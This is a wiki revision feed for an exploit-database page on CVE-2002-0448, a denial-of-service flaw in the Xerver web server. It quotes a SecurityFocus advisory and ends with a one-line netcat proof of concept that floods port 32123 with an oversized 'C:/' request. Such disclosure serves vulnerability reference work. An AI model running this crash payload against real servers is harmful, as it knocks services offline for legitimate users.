https://pwnwiki.com/index.php?action=history&feed=atom&title=CVE-2002-0448_Xerver_Free_Web_Server%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9ECVE-2002-0448 Xerver Free Web Server拒絕服務漏洞 - Revision history2026-04-08T04:36:30ZRevision history for this page on the wikiMediaWiki 1.35.1https://pwnwiki.com/index.php?title=CVE-2002-0448_Xerver_Free_Web_Server%E6%8B%92%E7%B5%95%E6%9C%8D%E5%8B%99%E6%BC%8F%E6%B4%9E&diff=803&oldid=prevPwnwiki: Created page with "==INFO== <pre> source: http://www.securityfocus.com/bid/4254/info Xerver is a freely available webserver, written in Java. It will run on any operating system with Java insta..."2021-03-31T07:19:17Z<p>Created page with "==INFO== <pre> source: http://www.securityfocus.com/bid/4254/info Xerver is a freely available webserver, written in Java. It will run on any operating system with Java insta..."</p>
<p><b>New page</b></p><div>==INFO==<br />
<pre><br />
source: http://www.securityfocus.com/bid/4254/info<br />
<br />
Xerver is a freely available webserver, written in Java. It will run on any operating system with Java installed, including Microsoft Windows, Unix/Linux variants, MacOS, etc.<br />
<br />
It has been reported that sending an excessive number of requests for 'C:\' to port 32123 will cause the webserver to crash, denying service to legitimate users. This appears to be the case even on non-Windows based operating systems running the vulnerable software.<br />
<br />
The webserver will need to be restarted to regain normal functionality.<br />
<br />
This issue was reported for v2.10 of Xerver. Earlier versions may also be affected.<br />
<br />
<br />
printf "GET /`perl -e 'print "C:/"x500000'`\r\n\r\n" |nc -vvn 127.0.0.1 32123 <br />
</pre></div>Pwnwiki